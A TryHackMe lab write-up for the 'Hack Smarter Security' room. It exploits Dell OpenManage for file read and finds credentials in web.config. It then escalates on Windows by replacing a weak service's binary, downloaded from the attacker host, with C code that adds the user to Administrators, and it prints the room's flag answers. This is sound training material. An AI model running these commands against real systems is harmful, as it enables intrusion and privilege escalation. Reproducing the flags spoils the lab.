TryHackMe Hack Smarter Security Writeup: Dell OpenManage to Windows Privilege Escalation
A TryHackMe Hack Smarter Security walkthrough covering service enumeration, Dell OpenManage exploitation, web.config credential discovery, and Windows service abuse.
This writeup is adapted from my original TryHackMe notes for Hack Smarter Security. I kept the room flow close to the source Markdown and cleaned up GitBook formatting so it reads properly on the website.
Description
Your mission is to infiltrate the web server of the notorious Hack Smarter APT (Advanced Persistent Threat) group. This group is known for conducting malicious cyber activities, and it's imperative that we gather intel on their upcoming targets.
The Hack Smarter APT operates a well-protected web server, fortified with advanced security measures. Your objective is to compromise their server undetected, extract the list of upcoming targets, and leave no trace of your presence.
To begin, you'll need to employ your extensive hacking skills and exploit any vulnerabilities in their server's defenses. Remember, stealth and discretion are key. You must avoid triggering any alarms that could lead to a premature shutdown of the server or alert the Hack Smarter APT group to your presence.
Once you gain access to their server, navigate through their intricate network infrastructure, bypassing firewalls, encryption protocols, and other security layers. Locate the central repository where they store sensitive information, including their upcoming target list. Intel has reported this is located on the desktop of the Administrator user.
Exercise caution as you retrieve the list. The Hack Smarter APT group is known for employing countermeasures such as intrusion detection systems and advanced monitoring tools. It's crucial that you maintain a low profile and avoid leaving any traces that could compromise the mission or endanger your own safety.
Upon successfully acquiring the list of upcoming targets, transmit the data to our secure server using encrypted channels. This will ensure that our analysts can analyze the information and take appropriate action to protect potential targets from cyber attacks.
Remember, this is a high-stakes mission, and the information you gather will be instrumental in dismantling the Hack Smarter APT group's operations. Good luck, and may your skills lead you to success in this mission.
Answer the questions below
What is user.txt?
Nmap
nmap -A -sV 10.10.159.255
Web Page
After attempting to exploit XSS (Cross-Site Scripting) and SSTI (Server-Side Template Injection) in the contact form, I found that it did not work.
Dell OpenManage
After exploring the ports on the server, I found that port 1311 is open and uses HTTPS with Dell OpenManage.
https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2020-5377_CVE-2021-21514
python flag.py 10.4.67.48 10.10.159.255:1311
After asking ChatGPT about the location of sensitive information on a Windows IIS server, I was directed to the path \inetpub\wwwroot\HackSmarterSec\web.config, which contains the password for "tyler".
SSH
ssh tyler@10.10.159.255
Answer: THM{4ll15n0tw3llw1thd3ll}
Which organizations is the Hack Smarter group targeting next?
I use PrivescCheck to identify Local Privilege Escalation (LPE) vulnerabilities on the system. This tool scans the host for common misconfigurations and exposures that could allow for local privilege escalation.
https://github.com/itm4n/PrivescCheck
wget http://10.4.67.48/PrivescCheck.ps1 -o PrivescCheck.ps1
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
After scanning, I found a highly likely vulnerability rated as high. The 'spoofer-scheduler' service can be started and stopped by a normal user.
C malicious script
#include <stdlib.h>
int main() {
system("cmd.exe /c net localgroup Administrators tyler /add");
return 0;
}
x86_64-w64-mingw32-gcc-win32 hack.c -o payload.exe
After creating a malicious .exe that can leverage the admin role for 'tyler', I uploaded it to the target server and stopped the 'spoofer-scheduler' service.
wget http://10.4.67.48/payload.exe -o spoofer-scheduler.exe
sc stop spoofer-scheduler
After logging in again, the server will automatically start the 'spoofer-scheduler' service, which will leverage the 'tyler' role.
Answer: CyberLens, WorkSmarter, SteelMountain